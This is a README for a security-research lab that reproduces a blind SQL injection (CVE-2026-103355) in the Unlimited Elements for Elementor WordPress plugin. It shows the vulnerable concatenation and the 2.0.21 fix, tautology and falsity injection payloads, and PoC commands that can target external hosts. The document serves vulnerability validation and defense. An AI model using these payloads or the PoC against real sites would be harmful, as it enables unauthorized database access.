
Docker validation lab and read-only boolean-oracle PoC for CVE-2026-103355, an unauthenticated blind SQL injection in Unlimited Elements for Elementor <= 2.0.20.
Security-research material for reproducing and validating CVE-2026-103355: Unlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 2.0.20 concatenates the terms-listing "direct children of selected terms" identifiers raw into the terms query, enabling blind SQL injection.
validateIDsList() - digits and commas only - inserted
immediately before the concatenation; the single SQLi fix in the vendor
diff)Use only on systems you own or are explicitly authorized to test. The PoC is a read-only boolean oracle (term list flips between tautology and falsity payloads). No SLEEP, no data extracted, nothing modified.
Status: proven in the supplied lab.
Unlimited Elements 2.0.20 (WordPress 7.1.2, Elementor 4.3.3, terms-listing widget in "direct children of selected terms" mode):
stored identifier : "999999) OR 1=1 -- " -> rendered term list: every category
stored identifier : "999999) OR 1=2 -- " -> rendered term list: empty
(AND tt.parent IN (999999) OR 1=1 -- ) executed as SQL)
2.0.21 : validateIDsList rejects both payloads ("allow only
numbers"), oracle silent (patched negative control)
A boolean differential that flips only with the injected 1=1/1=2
proves arbitrary SQL execution from the stored identifier. The PoC does not
demonstrate data extraction (UNION/error/time are trivial extensions of the
same sink and are deliberately left out).
The sink. The uc_post_terms param processing stores the widget's
"direct children of selected terms" identifiers unvalidated, and the
terms_clauses hook concatenates them straight into the query:
// provider/provider_params_processor.class.php:5147 + 5360, 2.0.20
$arrIncludeDirectChildrenOfSelectedTermsIDs = UniteFunctionsUC::getVal(
$value, $name."_include_direct_children_of_selected_terms" );
...
$this->arrIncludeDirectChildrenOfSelectedTermsIDs = $arrIncludeDirectChildrenOfSelectedTermsIDs;
add_filter( 'terms_clauses', array( $this, "getDirectChildrenOfSelectedTerms" ), 1, 1 );
// provider/provider_params_processor.class.php:5552, 2.0.20
$termsIDs = implode( ', ', $this->arrIncludeDirectChildrenOfSelectedTermsIDs );
$clauses['where'] .= " AND tt.parent IN (" . $termsIDs . ")";
No prepare(), no validation, no intval() - every array element lands in
the SQL verbatim.
The fix. 2.0.21 inserts the whitelist immediately before the concatenation (the only SQLi change in the vendor diff):
// 2.0.21
if ( empty( $this->arrIncludeDirectChildrenOfSelectedTermsIDs ) )
return $clauses;
$termsIDs = implode( ', ', $this->arrIncludeDirectChildrenOfSelectedTermsIDs );
UniteFunctionsUC::validateIDsList( $termsIDs, "parent terms id's" ); // digits + commas only
$clauses['where'] .= " AND tt.parent IN (" . $termsIDs . ")";
validateIDsList() throws Field parent terms id's allow only numbers and comas. on anything else - the patched control in this lab reproduces
exactly that rejection.
The query path (observed in the lab): the terms query runs on every render of a layout containing the widget:
WP_Term_Query::get_terms
<- UniteCreatorParamsProcessor::getWPTermsData (uc_post_terms param)
<- UniteCreatorOutputWork::getAddonParams
<- UniteCreatorElementorWidget::render (the_content on the builder page)
includeby = direct_children_of_selected_terms and the identifier array
carrying the payload (the lab provisions the pages with the payloads
baked into the widget settings - the same value chain the 2.0.21
whitelist guards).get_terms() runs and the sink
concatenates the identifiers into AND tt.parent IN (...).1=1) renders every category, the falsity payload (1=2)
renders none. The PoC reads the differential from two pages provisioned
with the two payloads.Requirements: Docker with Compose v2, Python 3.10+ on the host.
./lab verify
Builds the 2.0.20 lab, requires the oracle to fire, then builds the 2.0.21
lab and requires it silent. Remove everything with ./lab reset.
Vulnerable control:
[*] categories rendered with tautology payload : 4
[*] categories rendered with falsity payload : 0
[!!!] BLIND SQL INJECTION CONFIRMED
sink : getDirectChildrenOfSelectedTerms() ->
AND tt.parent IN (<identifiers>) raw concatenation
oracle : term list flips with the injected boolean
RESULT: VULNERABLE CONTROL CONFIRMED
Patched control:
[*] categories rendered with tautology payload : 0
[*] categories rendered with falsity payload : 0
[=] both payloads rejected by the identifier whitelist
(patched >= 2.0.21 validateIDsList behavior).
RESULT: PATCHED CONTROL CONFIRMED
./lab start vulnerable # 2.0.20 lab on http://127.0.0.1:9489
./lab test # assert the oracle fires
./lab start patched # 2.0.21 lab
./lab test # assert silence
./lab status
./lab reset
Run the PoC by hand (loopback default; authorized external targets need the explicit override):
python3 poc/poc_cve_2026_103355.py --url http://127.0.0.1:9489 \
--page-true 9 --page-false 10
python3 poc/poc_cve_2026_103355.py --url https://target.example \
--page-true 9 --page-false 10 \
--allow-authorized-non-loopback [--insecure]
The nuclei template (nuclei/cve-2026-103355.yaml) is a version screen only
(readme.txt stable tag <= 2.0.20). The behavioral oracle requires the
terms-listing setup, which is not practical to express in nuclei; the
Python PoC performs the full flow.
| Version | Assessment |
|---|---|
| Unlimited Elements 2.0.20 | Blind SQL injection reproduced end to end |
| Unlimited Elements 2.0.21 | Patched negative control reproduced |
| Unlimited Elements <= 2.0.19 | Affected per advisory; not individually tested |
2.0.20 was closed on wordpress.org (removed from downloads and SVN tags).
The lab fetches it from the public WordPressBugBounty SVN mirror
(7de2a75d) and the ./lab prep step verifies nothing: the mirror's 2.0.21
commit was diffed byte-for-byte against the official wordpress.org 2.0.21
zip during research and matched exactly, which anchors the mirror's
fidelity.
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-103355.yaml
├── poc/
│ └── poc_cve_2026_103355.py
└── provision/
└── install.php
Not committed: assets/ (plugin zips), .lab-state, __pycache__/.
| Claim | Status |
|---|---|
| Raw concatenation of the identifiers into terms_clauses (2.0.20) | Proven (sink + MySQL query log) |
| Blind boolean oracle on the rendered term list | Proven (1=1 vs 1=2 differential) |
| Patched negative control (2.0.21 validateIDsList) | Proven |
| Request-side reachability of the identifier values | Not claimed - this lab provisions the payloads into the widget settings (the value chain the fix guards); Patchstack classifies the issue as unauthenticated, CVSS 9.3 |
| Data extraction beyond the boolean oracle (UNION/error/time) | Not claimed, not included |